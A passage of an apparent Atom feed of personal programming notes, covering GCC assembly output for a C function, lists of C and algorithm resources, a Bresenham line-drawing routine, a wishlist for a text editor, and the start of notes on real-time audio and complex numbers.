    .file 0 &quot;/home/badd10de/microbolt&quot; &quot;src/math.c&quot;
    .globl  square
    .type   square, @function
square:
.LFB0:
    .file 1 &quot;src/math.c&quot;
    .loc 1 1 21
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    movl    %edi, -4(%rbp)
    .loc 1 2 16
    movl    -4(%rbp), %eax
    imull   %eax, %eax
    .loc 1 3 1
    popq    %rbp
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size   square, .-square
.Letext0:
    .section    .debug_info,&quot;&quot;,@progbits
.Ldebug_info0:
    .long   0x64
    .value  0x5
    .byte   0x1
    .byte   0x8
    .long   .Ldebug_abbrev0
    .uleb128 0x1
    .long   .LASF2
    .byte   0x1d
    .long   .LASF0
    .long   .LASF1
    .quad   .Ltext0
    .quad   .Letext0-.Ltext0
    .long   .Ldebug_line0
    .uleb128 0x2
    .long   .LASF3
    .byte   0x1
    .byte   0x1
    .byte   0x5
    .long   0x60
    .quad   .LFB0
    .quad   .LFE0-.LFB0
    .uleb128 0x1
    .byte   0x9c
    .long   0x60
    .uleb128 0x3
    .string &quot;num&quot;
    .byte   0x1
    .byte   0x1
    .byte   0x10
    .long   0x60
    .uleb128 0x2
    .byte   0x91
    .sleb128 -20
    .byte   0
    .uleb128 0x4
    .byte   0x4
    .byte   0x5
    .string &quot;int&quot;
    .byte   0
    .section    .debug_abbrev,&quot;&quot;,@progbits
.Ldebug_abbrev0:
    .uleb128 0x1
    .uleb128 0x11
    .byte   0x1
    .uleb128 0x25
    .uleb128 0xe
    .uleb128 0x13
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0x1f
    .uleb128 0x1b
    .uleb128 0x1f
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x7
    .uleb128 0x10
    .uleb128 0x17
    .byte   0
    .byte   0
    .uleb128 0x2
    .uleb128 0x2e
    .byte   0x1
    .uleb128 0x3f
    .uleb128 0x19
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x39
    .uleb128 0xb
    .uleb128 0x27
    .uleb128 0x19
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x7
    .uleb128 0x40
    .uleb128 0x18
    .uleb128 0x7a
    .uleb128 0x19
    .uleb128 0x1
    .uleb128 0x13
    .byte   0
    .byte   0
    .uleb128 0x3
    .uleb128 0x5
    .byte   0
    .uleb128 0x3
    .uleb128 0x8
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x39
    .uleb128 0xb
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x2
    .uleb128 0x18
    .byte   0
    .byte   0
    .uleb128 0x4
    .uleb128 0x24
    .byte   0
    .uleb128 0xb
    .uleb128 0xb
    .uleb128 0x3e
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0x8
    .byte   0
    .byte   0
    .byte   0
    .section    .debug_aranges,&quot;&quot;,@progbits
    .long   0x2c
    .value  0x2
    .long   .Ldebug_info0
    .byte   0x8
    .byte   0
    .value  0
    .value  0
    .quad   .Ltext0
    .quad   .Letext0-.Ltext0
    .quad   0
    .quad   0
    .section    .debug_line,&quot;&quot;,@progbits
.Ldebug_line0:
    .section    .debug_str,&quot;MS&quot;,@progbits,1
.LASF2:
    .string &quot;GNU C17 13.1.1 20230429 -mtune=generic -march=x86-64 -g -O0&quot;
.LASF3:
    .string &quot;square&quot;
    .section    .debug_line_str,&quot;MS&quot;,@progbits,1
.LASF0:
    .string &quot;src/math.c&quot;
.LASF1:
    .string &quot;/home/badd10de/microbolt&quot;
    .ident  &quot;GCC: (GNU) 13.1.1 20230429&quot;
    .section    .note.GNU-stack,&quot;&quot;,@progbits</code></pre>
                    <p>Feel free to tweak the CFLAGS parameters or
                    change the debug flag to use optimizations modifying
                    the makefile’s <code>REALESE_CFLAGS</code>,
                    <code>DEBUG_CFLAGS</code> and the
                    <code>DEBUG ?= 1</code> or <code>DEBUG ?= 0</code>
                    options.</p>
                    <p>To get the size of each section in an .elf file
                    we can do:</p>
                    <pre><code>size -A -d my-file.elf</code></pre>
                    <p>And the sizes of different fuctions and
                    structurestherein:</p>
                    <pre><code>nm --print-size --size-sort --radix=d my-file.elf</code></pre>
                    <h2 id="resources-1">Resources</h2>
                    <h3
                    id="parallelismconcurrency">Parallelism/Concurrency</h3>
                    <ul>
                    <li><a
                    href="https://begriffs.com/posts/2020-03-23-concurrent-programming.html">Concurrent
                    programming, with examples</a> by <a
                    href="https://begriffs.com/">@begriffs</a></li>
                    <li><a
                    href="https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html">Coroutines
                    in C</a></li>
                    <li><a
                    href="https://c9x.me/articles/gthreads/intro.html">Green
                    Threads Explained</a></li>
                    </ul>
                    <h3 id="memory-and-os-resources">Memory and OS
                    resources</h3>
                    <ul>
                    <li><a
                    href="https://stackoverflow.com/questions/7222164/mmap-an-entire-large-file">MMAP
                    an entire large file into memory
                    (StackOverflow)</a></li>
                    <li><a
                    href="http://www.catb.org/esr/structure-packing/">The
                    lost art of structure packing</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=m7E9piHcfr4&amp;t=170s">How
                    to Map Files into Memory in C (mmap)
                    (Video)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=Os5cK0H8EOA">How
                    do I measure how much memory my program is using?
                    (getrusage) (Video)</a></li>
                    <li><a href="https://maplant.com/gc.html">Writing a
                    Simple Garbage Collector in C</a></li>
                    <li><a
                    href="https://www.rfleury.com/p/untangling-lifetimes-the-arena-allocator">Untangling
                    lifetimes: The arena allocator</a></li>
                    <li><a
                    href="https://www.gingerbill.org/series/memory-allocation-strategies/">Ginger
                    Bill series on memory allocators</a></li>
                    <li><a
                    href="https://gist.github.com/skeeto/2e86f52e13b8411cb77a3fc4241ac298">Skeeto’s
                    arena with mmap</a></li>
                    <li><a
                    href="https://www.reddit.com/r/C_Programming/comments/18vyr9d/contiguous_allocations_with_mmap/">Contiguous
                    allocations with mmap (Reddit)</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2023/09/27/">Arena
                    allocators tips and tricks</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2023/12/17/">So
                    you want custom allocator support in your C
                    library</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2023/10/05/">A
                    simple, arena-backed, generic dynamic array for
                    C</a></li>
                    </ul>
                    <h3 id="librariestools">Libraries/Tools</h3>
                    <ul>
                    <li><a
                    href="https://github.com/attractivechaos/klib">Klib:
                    a generic library in C</a></li>
                    <li><a href="https://github.com/nothings/stb">STB
                    libraries</a> by <a
                    href="https://twitter.com/nothings">@nothings</a></li>
                    <li><a href="https://godbolt.org/">Godbolt’s
                    compiler explorer</a></li>
                    </ul>
                    <h3 id="debuggingprofiling">Debugging/profiling</h3>
                    <ul>
                    <li><a
                    href="http://www.brendangregg.com/flamegraphs.html">Flamegraphs</a></li>
                    <li><a href="http://poormansprofiler.org/">The poor
                    man’s profiler</a></li>
                    <li><a
                    href="https://bitbucket.org/wolfpld/tracy/src/master/">Tracy:
                    A real time, nanosecond resolution, remote telemetry
                    frame profiler</a></li>
                    <li><a
                    href="http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html">RMS’s
                    gdb debugger tutorial</a></li>
                    <li><a
                    href="http://web.archive.org/web/20090227065350/http://www.cs.princeton.edu/~benjasik/gdb/gdbtut.html">GDB
                    tutorial</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=GV10eIuPs9k">Debugging
                    with Core Dumps (Video)</a></li>
                    <li><a
                    href="https://felix-knorr.net/blog/using_gdb_directly.html">Debugging
                    with GDB</a></li>
                    </ul>
                    <h3 id="networking">Networking</h3>
                    <ul>
                    <li><a
                    href="http://beej.us/guide/bgnet/html/#intro">Beej’s
                    Guide to Network Programming</a></li>
                    <li><a
                    href="http://beej.us/guide/bgipc/html/single/bgipc.html">Beej’s
                    Guide to Unix IPC</a></li>
                    </ul>
                    <h3 id="ui">UI</h3>
                    <ul>
                    <li><a
                    href="https://nick-black.com/htp-notcurses.pdf">Hacking
                    the world with notcurses. A guide to TUI and
                    character graphics.</a></li>
                    </ul>
                    <h3 id="other">Other</h3>
                    <ul>
                    <li><a href="http://yosefk.com/c++fqa/fqa.html">Why
                    move away from C++? (C++ FQA)</a></li>
                    <li><a
                    href="http://iso-9899.info/wiki/Main_Page">##C
                    wiki</a></li>
                    <li><a href="http://www.c-faq.com/questions.html">C
                    FAQ</a></li>
                    <li><a
                    href="http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1570.pdf">C11
                    Standard</a></li>
                    <li><a
                    href="http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf">C99
                    Standard</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2018/11/21/">Why
                    Aren’t There C Conferences?</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2017/11/03/">Render
                    Multimedia in Pure C, by Chris Wellons</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2014/12/23/">Interactive
                    Programming in C, by Chris Wellons</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2017/08/20/">Portable
                    Makefiles, by Chris Wellons</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2019/04/30/">Looking
                    for entropy in all the wrong places, by Chris
                    Wellons</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2016/10/07/">Small-Size
                    Optimization in C, by Chris Wellons</a></li>
                    <li><a
                    href="https://floooh.github.io/2018/06/17/handles-vs-pointers.html">Handles
                    are the better pointers</a> by <a
                    href="https://twitter.com/flohofwoe">@flohofwoe</a></li>
                    <li><a
                    href="https://floooh.github.io/2019/09/27/modern-c-for-cpp-peeps.html">Modern
                    C for C++ Peeps</a> by <a
                    href="https://twitter.com/flohofwoe">@flohofwoe</a></li>
                    <li><a
                    href="https://begriffs.com/posts/2019-01-19-inside-c-standard-lib.html">Inside
                    the C standard library</a> by <a
                    href="https://begriffs.com/">@begriffs</a></li>
                    <li><a href="https://marek.vavrusa.com/memory/">What
                    a C programmer should know about memory</a></li>
                    <li><a
                    href="http://www.cplusplus.com/articles/DzywvCM9/">Disch’s
                    tutorial to good binary files</a></li>
                    <li><a
                    href="https://travisdowns.github.io/blog/2019/06/11/speed-limits.html">Speed
                    Limits</a></li>
                    <li><a
                    href="https://cellperformance.beyond3d.com/articles/2006/06/understanding-strict-aliasing.html">Understanding
                    strict aliasing (Mike Acton)</a></li>
                    <li><a
                    href="https://timur.audio/using-locks-in-real-time-audio-processing-safely">Using
                    locks in real-time audio processing, safely
                    (C++)</a></li>
                    <li><a
                    href="https://github.com/jkuhlmann/cgltf">Load CGLTF
                    files in C</a></li>
                    <li><a
                    href="http://eceweb1.rutgers.edu/~orfanidi/intro2sp/#cfunct">Signal
                    processing in C</a></li>
                    <li><a
                    href="https://timeflayer.com/etc/c_program_ontology.txt">The
                    basic ontology of a C program</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2023/04/29/">C
                    compiler flags, by Chris Wellons</a></li>
                    <li><a
                    href="https://www.coranac.com/documents/bittrick/">Bit
                    tricks for branchless programming</a></li>
                    <li><a
                    href="https://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html">A
                    beginners’ guide away from scanf()</a></li>
                    </ul>
                    <h3 id="books">Books</h3>
                    <ul>
                    <li><a
                    href="http://www2.cs.uregina.ca/~hilder/cs833/Other%20Reference%20Materials/The%20C%20Programming%20Language.pdf">The
                    C programming language, by K&amp;R (2nd
                    edition)</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming">The
                    Art of Computer Programming, by Donald
                    Knuth</a></li>
                    <li><a
                    href="https://eli.thegreenplace.net/2009/10/07/book-review-c-interfaces-and-implementations-by-david-r-hanson">C
                    interfaces and implementations, by David R.
                    Hanson</a></li>
                    </ul>
                    <h3 id="talks">Talks</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=fHNmRkzxHWs">CppCon
                    2014: Chandler Carruth “Efficiency with Algorithms,
                    Performance with Data Structures”</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=rX0ItVEVjHc">CppCon
                    2014: Mike Acton “Data-Oriented Design and
                    C++”</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=M2fKMP47slQ">C++Now
                    2018: You Can Do Better than
                    std::unordered<sub>map</sub>: New Improvements to
                    Hash Table Performance</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=heEDL9usFgs">Bloom
                    filters, by Dr. Rob Edwards</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=QpAhX-gsHMs&amp;ab_channel=ACCUConference">Modern
                    C and what can we learn from it - Luca Sas (ACCU
                    2021)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Data Structures and Algorithms</title>
            <link href="https://badd10de.dev//notes/data-structures-algorithms.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/data-structures-algorithms.html</id>
            <updated>2026-06-16T09:49:14Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="sorting">Sorting</h2>
                    <p>Some rules of thumb for selecting sorting
                    algorithms:</p>
                    <ul>
                    <li>If sorting a small array, quicksort performs
                    great.</li>
                    <li>To perform sorting in place, use quicksort or
                    heap sort.</li>
                    <li>Mergesort offers stable sorting with excellent
                    performance at the cost of O(n) extra memory.</li>
                    <li>Internal vs external sorting (that is, if the
                    algorithm can operate by splitting files in the
                    hard-drive or if it fits on RAM). Mergesort can work
                    by splitting files into smaller ones.</li>
                    <li>If the data supports it, bucket/radix/counting
                    sorts are an excellent pick: Counting for small
                    data, buckets if the distribution of elements is
                    uniform and radix if we can divide the data into
                    number of bits (Note that there are ways of making
                    Radix sort work with other data types).</li>
                    </ul>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://github.com/gorset/radix/blob/master/radix.cc">Radix
                    sort implementation</a></li>
                    <li><a
                    href="https://erik.gorset.no/2011/04/radix-sort-is-faster-than-quicksort.html">Radix
                    sort is faster than quicksort</a></li>
                    <li><a
                    href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.22.6990&amp;rep=rep1&amp;type=pdf">Engineering
                    radix sort, by McIlroy et al.</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/American_flag_sort">American
                    flag sort (Wikipedia)</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2014/08/29/">Stabilizing
                    C’s Quicksort, by Chris Wellons</a></li>
                    <li><a
                    href="https://nachtimwald.com/2018/12/05/mergesort-in-c/">Mergesort
                    in C</a></li>
                    </ul>
                    <h2 id="hash-tableshashing">Hash tables/Hashing</h2>
                    <h3 id="resources-1">Resources</h3>
                    <ul>
                    <li><a
                    href="https://github.com/jamesroutley/write-a-hash-table">Write
                    a hash table in C</a></li>
                    <li><a
                    href="http://www.idryman.org/blog/2017/05/03/writing-a-damn-fast-hash-table-with-tiny-memory-footprints/">Writing
                    a damn fast hash table with tiny memory
                    footprint</a></li>
                    <li><a
                    href="https://probablydance.com/2018/06/16/fibonacci-hashing-the-optimization-that-the-world-forgot-or-a-better-alternative-to-integer-modulo/">Fibonacci
                    hashing, the optimization that the world forgot, by
                    Malte Skarupke</a></li>
                    <li><a
                    href="https://attractivechaos.wordpress.com/2018/10/01/advanced-techniques-to-implement-fast-hash-tables/">Advanced
                    techniques for fast hash tables</a></li>
                    <li><a
                    href="https://cs.uwaterloo.ca/research/tr/1986/CS-86-14.pdf">Robin
                    Hood hashing</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Cuckoo_hashing">Cuckoo
                    hashing (Wikipedia)</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Hopscotch_hashing">Hopscotch
                    hashing (Wikipedia)</a></li>
                    <li><a
                    href="https://papa.bretmulvey.com/post/124027987928/hash-functions">Hash
                    functions</a></li>
                    <li><a
                    href="http://burtleburtle.net/bob/hash/index.html">Hash
                    Functions and Block Ciphers</a></li>
                    </ul>
                    <h2 id="randompseudo-random">Random/Pseudo
                    random</h2>
                    <h3 id="resources-2">Resources</h3>
                    <ul>
                    <li><a
                    href="https://probablydance.com/2019/08/28/a-new-algorithm-for-controlled-randomness/">A
                    new algorithm for controlled randomness, by Malte
                    Skarupke</a></li>
                    </ul>
                    <h2 id="graphics">Graphics</h2>
                    <h3
                    id="bresenhams-algorithm-for-rasterizing-lines">Bresenham’s
                    algorithm for rasterizing lines</h3>
                    <ol type="1">
                    <li>Get the initial (x0, y0) and final (x1, y1)
                    coordinates for the line.</li>
                    <li>Calculate the deltas <code>delta_x</code>,
                    <code>delta_y</code>, <code>2 * delta_x</code> and
                    <code>2 * delta_y</code></li>
                    <li>Initialize initail error parameter as:
                    <code>err = 2_delta_y - delta_x</code></li>
                    <li>For each x coordinate point between x0 and x1
                    (<code>x_k</code>) if <code>err &lt; 0</code> the
                    next point is
                    <code>(x_k + 1, y_k); err = err + 2_delta_y</code>.
                    If not, `(x_k + 1, y_k
                    <ul>
                    <li>1); err = err + 2_delta_y - 2_delta_x`</li>
                    </ul></li>
                    </ol>
                    <p>The previous algorithm will only work when
                    drawing lines in the same direction. Additionally,
                    the inputs may be flipped
                    (e.g. <code>x1 &lt; x0</code>) and the slope can be
                    positive or negative. Here is a C implementation of
                    the line drawing algorithm with these considerations
                    in mind, using exclusively integer arithmetic:</p>
                    <pre><code>// Draws a line with the given color between (x0,y0) and (x1,y1) using the
// Bresenham&#39;s line drawing algorithm using exclusively integer arithmetic.
static void
draw_line(int x0, int y0, int x1, int y1, Color clr) {
    // Pointer to the initial position of the screen buffer where we will start
    // writing our data.
    vu16 *destination = (u16*)(SCREEN_BUFFER + y0 * SCREEN_WIDTH + x0);

    // Adjust the step direction and calculate deltas.
    int x_step;
    int y_step;
    int dx;
    int dy;
    if (x0 &gt; x1) {
        x_step = -1;
        dx = x0 - x1;
    } else {
        x_step = 1;
        dx = x1 - x0;
    }
    if (y0 &gt; y1) {
        y_step = -SCREEN_WIDTH;
        dy = y0 - y1;
    } else {
        y_step = +SCREEN_WIDTH;
        dy = y1 - y0;
    }

    if(dy == 0) {
        // Horizontal line.
        for(int i = 0; i &lt;= dx; i++) {
            destination[i * x_step] = clr;
        }
    } else if(dx == 0) {
        // Vertical line.
        for(int i = 0; i &lt;= dy; i++) {
            destination[i * y_step] = clr;
        }
    } else if (dx &gt;= dy){
        // Positive slope.
        int diff = 2 * dy - dx;
        for (int i = 0; i &lt;= dx; ++i) {
            *destination = clr;
            if (diff &gt;= 0) {
                destination += y_step;
                diff -= 2 * dx;
            }
            destination += x_step;
            diff += 2 * dy;
        }
    } else {
        // Negative slope.
        int diff = 2 * dx - dy;
        for (int i = 0; i &lt;= dy; ++i) {
            *destination = clr;
            if (diff &gt;= 0) {
                destination += x_step;
                diff -= 2 * dy;
            }
            destination += y_step;
            diff += 2 * dx;
        }
    }
}</code></pre>
                    <h2 id="other">Other</h2>
                    <h3 id="resources-3">Resources</h3>
                    <ul>
                    <li><a
                    href="http://ndevilla.free.fr/median/median/index.html">Fast
                    median search, an ANSI C implementation</a></li>
                    <li><a
                    href="https://lemire.me/blog/2016/06/27/a-fast-alternative-to-the-modulo-reduction/">A
                    fast alternative to the modulo reduction</a></li>
                    <li><a
                    href="https://www.sebastiansylvan.com/post/space-efficient-rresizable-arrays/">Space
                    efficient resizable arrays</a></li>
                    <li><a
                    href="https://xlinux.nist.gov/dads/">Dictionary of
                    Algorithms and Data Structures</a></li>
                    <li><a
                    href="https://nachtimwald.com/2017/11/18/base64-encode-and-decode-in-c/">Base64
                    encode/decode in C</a></li>
                    </ul>
                    <h2 id="related">Related</h2>
                    <ul>
                    <li><a
                    href="/notes/encoding-compression.html">Encoding and
                    Compression</a></li>
                    <li><a href="/notes/signal-processing.html">Signal
                    Processing</a></li>
                    <li><a href="/notes/automata-theory.html">Automata
                    Theory</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // DevOps</title>
            <link href="https://badd10de.dev//notes/devops.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/devops.html</id>
            <updated>2026-06-16T09:49:15Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://dbp.io/essays/2013-06-29-hackers-replacement-for-gmail.html">A
                    hacker's replacement for Gmail</a></li>
                    <li><a
                    href="https://dbp.io/essays/2013-06-29-hackers-replacement-for-gmail.html">Cheap
                    home backups</a></li>
                    <li><a href="https://datacenterlight.ch/">Datacenter
                    running on sustainable energy</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // My dream text editor</title>
            <link href="https://badd10de.dev//notes/dream-text-editor.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/dream-text-editor.html</id>
            <updated>2026-06-16T09:49:15Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>I’ve been using <a href="/notes/vim.html">Vim</a>
                    as my main text editor for a long time. I also tried
                    to use Emacs for around one year (With Evil mode)
                    and I appreciate some of the ways that Emacs deal
                    with text editing and customization. For the most
                    part my workflow remained the same and I liked both
                    editors. Ultimately I found Emacs slow and
                    unresponsive in many cases where Vim was blazing
                    through it, and in pursuit of simplicity I just
                    ended up using Vim full time once again.</p>
                    <p>I would say I feel comfortable with Vim, but from
                    time to time I run into annoyances and minor
                    frustrations. I’ve tried to solve some of these but
                    never quite manage to get where I wanted to get.
                    Neither Vim 8 or NeoVim (my current Vim
                    implementation of choice) addresses these
                    issues.</p>
                    <h2 id="my-dream-editor">My dream editor</h2>
                    <p>For a while I’ve fantasized with creating my own
                    hobby text editor tailored to my preferences and
                    idiosyncrasy and if I were to do that, here are some
                    things I would like to have, in no particular
                    order:</p>
                    <ul>
                    <li>A modal approach to text editing (Normal,
                    Insert, Visual, Replace). A subset of Vim’s commands
                    should be implemented for movement and editing.</li>
                    <li>The program should be implemented so that it
                    would be trivial to implement a frontend in any way
                    we wished. For example, I mostly edit text in the
                    terminal with tmux, but sometimes I would like to
                    have access to a graphics implementation that could
                    work in multiple operating systems, supporting
                    things like smooth scrolling and other goodies.
                    Likewise, I would like to be able to integrate this
                    editor as a library in any project, so that it could
                    be used with custom tools (i.e. debug tools in
                    graphical applications).</li>
                    <li>No server/client distinction. The code is
                    compiled into a binary object, this can be linked
                    with the frontend or the tools we want either
                    dynamically or statically.</li>
                    <li>Because of the previous items, we should
                    consider to work with text buffers in a similar way
                    as Emacs, dealing with buffers and commands.</li>
                    <li>Fuzzy search for opening files. This should be
                    project aware, so that we only look at the files in
                    the <code>.git</code> or version control repository
                    or we could choose to recursively search all
                    directories up to a maximum depth. There should be a
                    way of searching by exact matches, for example by
                    prepending a quote, like in the <code>fzf</code>
                    utility (<code>fzzy 'exact-search</code>).</li>
                    <li>Document and project-wise search and replace
                    with support to regular expressions.</li>
                    <li>Context aware or specific selection of
                    autocompletion.</li>
                    <li>Default support for version control operations
                    (like Magit in Emacs or Fugitive in Vim). This
                    should be limited to the common operations that
                    involve editing text and perhaps for resolving merge
                    conflicts.</li>
                    <li>All search/completion operations should be
                    non-blocking. Interactivity and responsiveness is
                    king.</li>
                    <li>Support for editor commands (<code>C-x</code> in
                    emacs or <code>:</code> in Vim) which will get
                    auto-completed as we type.</li>
                    <li>Support for spellchecking, grammar and/or
                    thesaurus search.</li>
                    <li>Support smart auto-indentation in specific
                    languages</li>
                    <li>The editor could be configured with a simple
                    .ini text file or via recompilation.</li>
                    <li>Plugins could be added as C modules, either
                    dynamically loaded or statically compiled.</li>
                    <li>Fast syntax highlighting. I use it very slightly
                    but at least I like my comments and imports to be
                    highlighted.</li>
                    <li>Should be able to open gigantic files. By
                    default, large files will be opened in read only
                    mode (Which could be more efficient) but if desired
                    we can jump into read-write with a command.
                    Operating in these files should be fast, including
                    searching them.</li>
                    <li>Support for macro recording. They should be
                    easier to use than in Vim and work with the
                    <code>.</code> repeat command.</li>
                    <li>Undo/Redo tree (Quite obvious). There is some
                    considerations about permanently keeping track of
                    these undo/redo trees per file up to a maximum. Note
                    that this could pose a security risk, although we
                    could try to encrypt it in some way.</li>
                    <li>Compilation and compilation messages in
                    compilation buffers. For example, I should be able
                    to run <code>:make</code> or the appropriate
                    shortcut and the compilation should start. If there
                    are any errors, we should have direct jumps to those
                    in the code (<code>copen</code> in Vim). As
                    mentioned before, this should be done in parallel if
                    possible.</li>
                    <li>We should be able to pipe commands to the editor
                    and buffers to commands. Also, we should be able to
                    run shell commands from the editor directly to paste
                    the output there. This can be tricky for
                    multiplatform support, however.</li>
                    <li>Unicode support by default please.</li>
                    <li>Possible to switch easily from binary/hex to
                    text, including editing.</li>
                    <li>Command search supports fuzzy-find
                    parameters.</li>
                    <li>Potential integration with GDB or other
                    debuggers.</li>
                    <li>Async when needed (Important for
                    responsiveness).</li>
                    </ul>
                    <h2 id="algorithms-and-data-structures">Algorithms
                    and data structures</h2>
                    <p>Here are some algorithms that would be
                    interesting to explore for the implementation of the
                    internal structure:</p>
                    <ul>
                    <li>Emacs style “gap buffer” algorithm.</li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Rope_(data_structure)">Rope
                    data structures</a> as used in Xi editor.</li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Piece_table">Piece
                    table data structure</a></li>
                    <li><a
                    href="https://www.cs.unm.edu/~crowley/papers/sds/node15.html">Piece
                    table method</a></li>
                    </ul>
                    <h3 id="piece-table-conerns">Piece table
                    conerns</h3>
                    <p>This doesn’t seem like a big deal to me to be
                    honest but here is the opinion of someone who
                    clearly knows what they are doing:</p>
                    <blockquote>
                    <p>There’s one other important concern with piece
                    tables I didn’t see addressed. It depends on the
                    file contents on disk not changing. If your file
                    system supported locking or the ability to get a
                    read-only snapshot, this would be fine, but in
                    practice most don’t. It’s very common, say, to
                    checkout a different git branch while the file is
                    open in the editor. Thus, the editor must store its
                    own copy to avoid corruption. In the long term, I
                    would like to see this solved by offering read-only
                    access to files, but that’s a deeper change that can
                    be made piecewise. - Raph Linus</p>
                    </blockquote>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a href="http://www.finseth.com/craft/">The
                    Craft of Text Editing (or Emacs for the Modern
                    World)</a></li>
                    <li><a
                    href="https://iq.opengenus.org/data-structures-used-in-text-editor/">Data
                    structures used in text editors</a></li>
                    <li><a
                    href="https://www.cs.cmu.edu/~wjh/papers/byte.html">Data
                    structures in the Andrew text editor</a></li>
                    </ul>
                    <h2 id="inspiration">Inspiration</h2>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=oDv6DfQxhtQ&amp;ab_channel=Bitwise">Programming
                    a text editor from scratch</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=8HSrcTVj1hc&amp;ab_channel=vexe">ZED
                    text editor</a></li>
                    <li><a
                    href="https://www.youtube.com/playlist?list=PLrBsIiq8z2AYQXLBpzG2zQENp1ESW6W4d">4coder
                    development</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Digital Signal Processing (DSP)</title>
            <link href="https://badd10de.dev//notes/dsp.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/dsp.html</id>
            <updated>2026-06-16T09:49:15Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="audio-programming">Audio programming</h2>
                    <p>Audio programming can be very fun, but it also
                    come with a particular set of challenges that are
                    not often found in other programming fields. Audio
                    processing is typically a real-time problem (unless
                    you are performing offline rendering), in particular
                    we can classify it as a firm real-time system,
                    meaning that if we fail to meet the processing
                    “deadline”, we won’t normally cause a full system
                    failure, but audible glitches can be very
                    <em>very</em> noticeable by humans and can be
                    annoying or outright insufferable.</p>
                    <p>In real-time audio programming, we will usually
                    have a callback function that will be periodically
                    be called by the audio thread when new samples are
                    needed. This function will be tasked to fill up N
                    samples in a buffer (or buffers in stereo). For
                    example, if the audio sampling rate is 44.1KHz and
                    the buffer size is of 256 samples, the callback can
                    be called each
                    <code>(256 / 44100 * 1000) = 5.80ms</code>.
                    Furthermore, the longer the audio buffers are, the
                    longer the latency/responsiveness of our audio.
                    Anything longer than 5-15ms will be quite noticeable
                    when trying to play in real time, but it’s not so
                    problematic otherwise (for example, a 100ms audio
                    latency in a DAW may be annoying, but it’s still
                    usable, but good luck trying to play an instrument
                    with that kind of delay).</p>
                    <p>Some important things to consider when working on
                    the audio callback function are:</p>
                    <ul>
                    <li>Never allocate memory.</li>
                    <li>Aim for a deterministic time boundary.</li>
                    <li>Optimize performance for worst case.</li>
                    <li>Don’t wait or lock threads, no mutexes.</li>
                    <li>Use atomic operations and/or double buffering
                    when possible to avoid data races.</li>
                    </ul>
                    <h2 id="math">Math</h2>
                    <h3 id="complex-numbers">Complex numbers</h3>
                    <p>A lot of signal processing math makes use of
                    complex numbers in the rectangular form
                    (<code>a + j * b</code>) or polar form
                    (<code>A = sqrt(a^2 + b^2); phi = atan2(b/a)</code>).
                    The later is commonly used as the vector
                    representation of the polar form makes more
                    intuitive sense when multiplying or adding
                    vectors.</p>
                    <p>The Euler’s formula gives us a mapping between
                    the rectangular and polar forms:</p>
                    <pre><code>exp(j * phi) = cos(phi) + j * sin(phi)
